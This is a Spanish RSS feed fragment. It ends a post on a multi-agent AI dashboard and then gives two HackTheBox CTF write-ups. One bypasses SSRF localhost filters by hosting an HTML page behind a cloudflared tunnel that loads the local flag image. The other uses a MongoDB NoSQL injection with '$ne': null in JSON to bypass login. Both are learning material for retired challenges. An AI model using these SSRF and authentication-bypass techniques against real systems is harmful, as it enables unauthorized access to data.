&lt;p&gt;&lt;strong&gt;Consejo de uso:&lt;/strong&gt; lo ideal es levantar &lt;strong&gt;varias instancias de &lt;code&gt;AGENTE_MCP_API_V2&lt;/code&gt;&lt;/strong&gt;, una por departamento. Así cada grupo de agentes vive en su propia burbuja y no se lían entre ellos pisándose tareas o contexto. Es justo para lo que está pensada la aplicación.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Live Floor
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4pl6bzn5u5o85fgb1nog.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4pl6bzn5u5o85fgb1nog.png" alt="Live Floor — animación en tiempo real con mesas por departamento" width="800" height="380"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Si pulsas en &lt;strong&gt;Live Floor&lt;/strong&gt;, ves básicamente lo mismo que tienes en la barra de abajo, pero un pelín más &lt;em&gt;fancy&lt;/em&gt;: le monté unas mesas a los agentes para que cada departamento tenga su espacio bien separado. Es más escaparate que funcionalidad, pero queda resultón y se entiende de un vistazo quién curra con quién.&lt;/p&gt;




&lt;h2&gt;
  
  
  Agentes:
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzqlgbrsdsmihw72cywlo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzqlgbrsdsmihw72cywlo.png" alt="Pestaña de Agentes con detalle por departamento y gestión de contactos" width="800" height="431"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En la pestaña de &lt;strong&gt;Agentes&lt;/strong&gt; tienes una vista más detallada de cada uno, y lo importante: aquí puedes gestionar sus &lt;strong&gt;contactos&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Y ojo, porque los contactos son &lt;strong&gt;vitales&lt;/strong&gt;: los agentes los leen automáticamente y, en base a eso, saben con quién pueden hablar y con quién no. Por si acaso, también está capado &lt;strong&gt;a nivel de API&lt;/strong&gt;, así que no es solo una barrera "visual".&lt;/p&gt;

&lt;h3&gt;
  
  
  ¿Por qué tanto lío con los contactos?
&lt;/h3&gt;

&lt;p&gt;Para respetar el principio de &lt;strong&gt;modularidad&lt;/strong&gt; del que hablábamos al principio. Imagínate que tienes un developer en un departamento y otro developer en otro: no quieres que se pongan a hablar entre ellos directamente y se monten su propio mundo paralelo.&lt;/p&gt;

&lt;p&gt;Lo que quieres es que, si hay que coordinar algo entre departamentos, se comuniquen los &lt;strong&gt;CEOs&lt;/strong&gt; de cada uno — y que ellos ya bajen la información a su gente.&lt;/p&gt;

&lt;p&gt;Es la misma lógica que en una empresa real: las jerarquías y los canales de comunicación existen por algo.&lt;/p&gt;




&lt;h2&gt;
  
  
  Tareas
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwjxqs5naxnv9pfk2olb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwjxqs5naxnv9pfk2olb.png" alt="Pestaña de Tareas con listado en tiempo real y creación manual" width="800" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;En &lt;strong&gt;Tareas&lt;/strong&gt; puedes ver todo lo que se está cociendo ahora mismo. Si le das a &lt;strong&gt;Cargar historial de tareas completadas&lt;/strong&gt;, también te aparece la lista completa de lo que se ha ejecutado hasta el momento. Es también el sitio desde el que puedes &lt;strong&gt;crear tareas nuevas a mano&lt;/strong&gt; — útil si no quieres lanzarlas desde Telegram, por ejemplo.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Aviso con la creación:&lt;/strong&gt; por diseño está un poco "cutre" — hay que indicar que el &lt;strong&gt;padre es el mismo que el hijo&lt;/strong&gt;, pero funciona perfectamente. Nota mental para v2 😅.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Ejemplo de delegación
&lt;/h3&gt;

&lt;p&gt;Para que se entienda, un caso sencillo: creamos una tarea nueva para &lt;strong&gt;Alfa&lt;/strong&gt; pidiéndole que &lt;strong&gt;Beta&lt;/strong&gt; nos prepare un informe. Ahí ya tienes un caso de delegación — Alfa no hace el informe, se lo pasa a Beta, y luego nos devuelve los resultados.&lt;/p&gt;

&lt;h3&gt;
  
  
  La parte que más mola: el contexto compartido
&lt;/h3&gt;

&lt;p&gt;Aquí viene una de las cosas que más me gustan del proyecto: puedes ver el &lt;strong&gt;contexto de la tarea de forma totalmente transparente&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;El software integra un sistema de contexto compartido que vive en sesiones y se persiste en la &lt;strong&gt;base de datos&lt;/strong&gt; (los agentes siempre tienen que incluir un resumen, es obligatorio). Y la gracia es esta:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Todas las tareas hijas de una misma tarea padre, y las que estas generen a su vez, comparten el mismo contexto.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Es decir, el "hilo" de conversación entre agentes &lt;strong&gt;no se rompe&lt;/strong&gt; por mucho que la tarea se ramifique.&lt;/p&gt;

&lt;p&gt;Aquí un ejemplo real del contexto compartido en acción:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyxfk4wq0x1okbzmuct2q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyxfk4wq0x1okbzmuct2q.png" alt="Ejemplo real de contexto compartido entre Alfa y Beta en una tarea delegada" width="657" height="794"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Se ve clarísimo cómo &lt;strong&gt;Alfa delega a Beta&lt;/strong&gt;, &lt;strong&gt;Beta completa el reporte&lt;/strong&gt;, y luego &lt;strong&gt;Alfa recoge el resultado&lt;/strong&gt; — todo dentro del mismo contexto compartido de la tarea. Esta parte me gustó muchísimo desarrollarla, precisamente por lo visual que queda ver a los agentes "hablando" entre ellos.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reportes
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqqx6hv6hd344nvy6ii7r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqqx6hv6hd344nvy6ii7r.png" alt="Pestaña de Reportes con el resultado de la tarea padre" width="800" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Y para cerrar, la pestaña de &lt;strong&gt;Reportes&lt;/strong&gt;. Cuando una tarea &lt;strong&gt;padre&lt;/strong&gt; (la que tú lanzas desde fuera) termina, el agente detecta que era el origen de la cadena y te genera &lt;strong&gt;automáticamente&lt;/strong&gt; un reporte con lo que ha pasado — o con lo que tú le hayas pedido que te reporte, si lo especificaste. En este caso puedes ver el reporte de la tarea del ejemplo anterior.&lt;/p&gt;




&lt;h2&gt;
  
  
  ¿Y ahora qué?
&lt;/h2&gt;

&lt;p&gt;Esto es una pre pre ante supra beta jajaja, así que sí: tiene &lt;em&gt;rough edges&lt;/em&gt;, cosas por pulir y funcionalidades que me gustaría llevar más lejos en una v2. Pero funciona, y creo que la idea de &lt;strong&gt;separar agentes en contenedores + contexto compartido persistido + delegación con trazabilidad&lt;/strong&gt; tiene recorrido.&lt;/p&gt;

&lt;p&gt;No se si sere capaz con tantas cosas por hacer de continuarla, pero te animo a ti a que le eches un vistazo, unas horas en entenderlo y aprender, y la mejores!&lt;/p&gt;

&lt;p&gt;Si te pica la curiosidad, te animo a echarle un ojo al repo, probarlo y romperlo un rato — cualquier feedback, issue o PR es bienvenido.&lt;/p&gt;

&lt;p&gt;Y si te ha gustado el post, sígueme por aquí o en LinkedIn para ver cómo evoluciona el proyecto. 🙌&lt;/p&gt;

</description>
      <category>agents</category>
      <category>docker</category>
      <category>openclaw</category>
      <category>showdev</category>
    </item>
    <item>
      <title>Baby-Cached WriteUp</title>
      <dc:creator>arturo melgarejo</dc:creator>
      <pubDate>Thu, 12 Feb 2026 15:10:46 +0000</pubDate>
      <link>https://forem.com/arturo0x90/baby-cached-writeup-ck5</link>
      <guid>https://forem.com/arturo0x90/baby-cached-writeup-ck5</guid>
      <description>&lt;p&gt;El challenge consiste en un Side-Server Request Forgery, y alguna cosa mas que hay que resolver antes de poder conseguir la flag.&lt;br&gt;
Es un reto de la categoría Web en HackTheBox, siendo su dificultad Facil , pero originalmente catalogado como Medio. Esta retirado, por lo que no hay problemas en hacer writeups.&lt;/p&gt;

&lt;p&gt;El funcionamiento de la pagina es el siguiente: Le pasas una URL y el te devuelve una screenshot de la misma.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb66t2qys4qvx69s7uhmu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fb66t2qys4qvx69s7uhmu.png" alt=" " width="800" height="377"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explotación&lt;/strong&gt;&lt;br&gt;
No haría ni falta ver el codigo, ya que analizandolo con Burp y inspeccionando la web nos damos cuenta que no hay apis escondidas, ni nada mas.&lt;/p&gt;

&lt;p&gt;El único input que podemos explotar entonces es la pagina web. No obstante aunque sepamos que es un SSRF, necesitamos ver como explotarlo y que grado de severidad tiene, para eso inspeccionamos el codigo. Observamos que dentro de las rutas disponibles hay una que carga una imagen flag.png. No hay mas preguntas señoria. Ese es nuestro objetivo. Pero solamente se puede acceder si url origen es 127.0.0.1.&lt;/p&gt;

&lt;p&gt;Vemos una llamada a una función &lt;strong&gt;cachear_web&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2h9ef0zn5prz2y9c1g6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fu2h9ef0zn5prz2y9c1g6.png" alt=" " width="553" height="174"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Como curiosidad, aunque no nos va a hacer falta para nuestro reto, no nos deja usar FTP o GOPHER en vez de HTTP en la url para poder pivotar a otros servicios. No es relevante. Además vemos que se realiza una comprobación de si el hostname REAL que le hemos pasado es localhost o alguna forma de llegar directamente hacia el mismo.&lt;br&gt;
Esto provoca que el exploit no sea tan sencillo de poner simplemente &lt;a href="http://127.0.0.1/flag" rel="noopener noreferrer"&gt;http://127.0.0.1/flag&lt;/a&gt; por ejemplo.&lt;/p&gt;

&lt;p&gt;Entonces ¿Como lo explotamos?. Aunque no lo he mencionado, usa Selenium, para cargar la web y posteriormente una vez cargada o pasados 10 segundos, lo que antes ocurra, hace una screenshot.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5kazx9ethfe2wver3h1z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5kazx9ethfe2wver3h1z.png" alt=" " width="800" height="124"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;La clave esta en saber que es selenium. Selenium es un webdriver que tiene librerías disponibles en varios lenguajes de programacion. Esencialmente permite la automatización de paginas web humanizando el proceso, es decir, abre el navegador literalmente en la maquina como si fueras tu mismo. Vamos a bypassear por tanto los filtros con nuestra propia pagina web.&lt;br&gt;
La idea es muy simple: Crear una pagina web que cargue contenidos de una url de la misma maquina (127.0.0.1), de esta forma no le pasamos directamente un 127.0.0.1, si no que le pasamos un html que carga contenidos de esa web deseada.&lt;/p&gt;

&lt;p&gt;En un principio me complique y empece a hacerlo con javascript, cosa que hubiera funcionado y es totalmente legitima… ¿lo es?&lt;br&gt;
No, no lo era xd, por alguna extraña razon (ya que es mas complejo que la segunda solucion), habían deshabilitado javascript. Puede ser por seguridad. No lo vi.&lt;/p&gt;

&lt;p&gt;Vamos a hacerlo mucho mas sencillo. Los pasos son los siguientes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Crearemos una web con Flask que cargue una imagen desde 127.0.0.1&lt;/li&gt;
&lt;li&gt;Bypassearemos los firewalls de nuestra casa con un proxy inverso del estilo ngrok o en mi caso el de cloudfare.&lt;/li&gt;
&lt;li&gt;Finalmente, enviaremos a la web vulnerable la url de la nuestra.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Codigo del servidor:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;app.py&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;from flask import Flask, send_file, request, jsonify, render_template
from werkzeug.utils import secure_filename

aplicacion = Flask

app = Flask(__name__)
@app.route('/upload', methods=['POST'])
def upload_reenviada():
 if 'archivo' in request.files:
  archivo = request.files['archivo']
  filename = archivo.filename
  archivo.save(os.path.join('upload', secure_filename(filename)))
  return "ok"
 return "error"

@app.route('/1', methods=['GET'])
def pagina_principal():
 return render_template('prueba.html')

if __name__ == "__main__":
 app.run('0.0.0.0', 80)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;La ruta upload es un extra para usar javascript y enviar el archivo desde el cliente.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;prueba.html&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;body&amp;gt;

&amp;lt;img src="http://localhost/flag"&amp;gt;

&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Comandos bash reverse proxy — Cloudfare y setup servidor&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;python3 app.py
./cloudflared-linux-amd64 -url http://localhost:80
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La url que devuelva cloudfare, se la pasamos a la web vulnerable con la ruta /1.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0auruowqgao4x98pi1fk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0auruowqgao4x98pi1fk.png" alt=" " width="800" height="399"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>selenium</category>
      <category>server</category>
      <category>python</category>
    </item>
    <item>
      <title>CandyVault - WriteUp</title>
      <dc:creator>arturo melgarejo</dc:creator>
      <pubDate>Thu, 12 Feb 2026 15:00:42 +0000</pubDate>
      <link>https://forem.com/arturo0x90/candyvault-writeup-fli</link>
      <guid>https://forem.com/arturo0x90/candyvault-writeup-fli</guid>
      <description>&lt;p&gt;Este es el primer WriteUp que escribo en la pagina de dev.to. La razon principal de empezar a crear estos writeups es porque considero que el documentar que es una buena forma de medir y guardar el progreso, asi como contribuir y ayudar en el aprendizaje de otros.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Introducción&lt;/strong&gt;&lt;br&gt;
Este reto pertenece a la categoría very-easy de los challenges Web de HackTheBox. Cuando tengo poco tiempo realizo este tipo de retos, ya que solo sueles tener que romper la lógica, o vulnerar una vez, no tienes que encadenar varios fallos de diseño o vulnerabilidades.&lt;br&gt;
Este reto consiste en explotar una vulnerabilidad de NOSQL injection, mas especificamente, usa MONGODB.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Fase de reconocimiento y búsqueda de vulnerabilidades&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sin necesidad de replicar la instancia del proyecto en Docker, descargamos el archivo de proyecto y navegamos hasta ./challenge/application.&lt;/p&gt;

&lt;p&gt;Al editar el archivo app.py, reconocemos que el servidor usa como framework Flask. Normalmente se suele usar Django para aplicaciones web con python, pero en este caso usan Flask que es mas para pequeñas webs, aplicaciones en desarrollo que requieren de un servidor web, y en general para pruebas sobre proyectos. Por esa razon se suele obviar cambiar el modo de Debug a Producción. No obstante nuestro servidor usa en run.py:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;debug=False&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Ademas, vemos que la aplicacion usa MongoDB. Para conectarse usa una clave que la coge a través de config.py, y el mismo hace una llamada a una variable de entorno que no podríamos leer. Por tanto (parece) que a menos que podamos leer las variables de entorno o un objeto que queramos, no podríamos acceder a la BD.&lt;/p&gt;

&lt;p&gt;Sin mucho mas analizar el archivo, que es muy sencillo y no tiene mas módulos que app.py, nos damos cuenta que cuando nos autentiquemos nos devolverá la flag.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user = users_collection.find_one({"email": email, "password": password})

if user:
    return render_template("candy.html", flag=open("flag.txt").read())

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fijémonos que a demas de decirnos que es lo que tenemos que hacer, ya nos da una gran pista sobre que rumbo tomar para explotar la aplicación:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;if content_type == "application/x-www-form-urlencoded":
    email = request.form.get("email")
    password = request.form.get("password")

elif content_type == "application/json":
    data = request.get_json()
    email = data.get("email")
    password = data.get("password")
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;hmm… Curioso ¿Porqué una aplicacion querria aceptar tanto json como POST normal? Obviamente porque quieren que lo veamos y vayamos directos al grano. Aqui ocurre una especie de error parecido al de deserialización con PHP para usar objetos y conseguir explotación remota. Solo que en nuestro caso, lo usaremos para hacer una injección a mongodb.&lt;br&gt;
Sabemos que una petición “normal” en json seria&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "email": "ejemplo@medium.us",
  "password": "2024miperro"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y tambien sabemos que la aplicacion usa data.get(), lo cual nos permite poder crear un objeto diferente a una string, ya que en python las variables se les define el tipo/objeto en tiempo real&lt;/p&gt;

&lt;p&gt;Además (Estamos cooking), con un poco de investigacion, vemos que la función find_one, toma operadores como $eq, $gt, $lt, y $ne.&lt;/p&gt;

&lt;p&gt;Estos fitros se le pasan a la función find_one en forma de objetos de los campos, como&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{"password": {"$lt": 5}}
/
variable["password"]["lt"] = 5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Bueno pues podemos usar $ne=null para que nos devuelva cualquiera que no sea nulo. Con esto y un bizcocho en teoría habríamos vulnerado la aplicacion.&lt;/p&gt;

&lt;p&gt;Ahora solo falta explotarla&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Explotación&lt;/strong&gt;&lt;br&gt;
Para la fase de explotación, realizaremos lo siguiente:&lt;/p&gt;

&lt;p&gt;Interceptaremos la petición post de un login normal en BURP.&lt;br&gt;
Cambiaremos el valor de los campos user y password a los de (en formato json) a “password/login”:”$ne”:null, con su sintaxis adecuada.&lt;br&gt;
Además, para que la aplicacion acepte el json, cambiaremos el header de … url-encoded … a application/json. Consecuentemente dejaremos una linea de espacio entre los header de http y el inicio de nuestro nuevo JSON.&lt;br&gt;
Disfrutar de nuestra flag.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
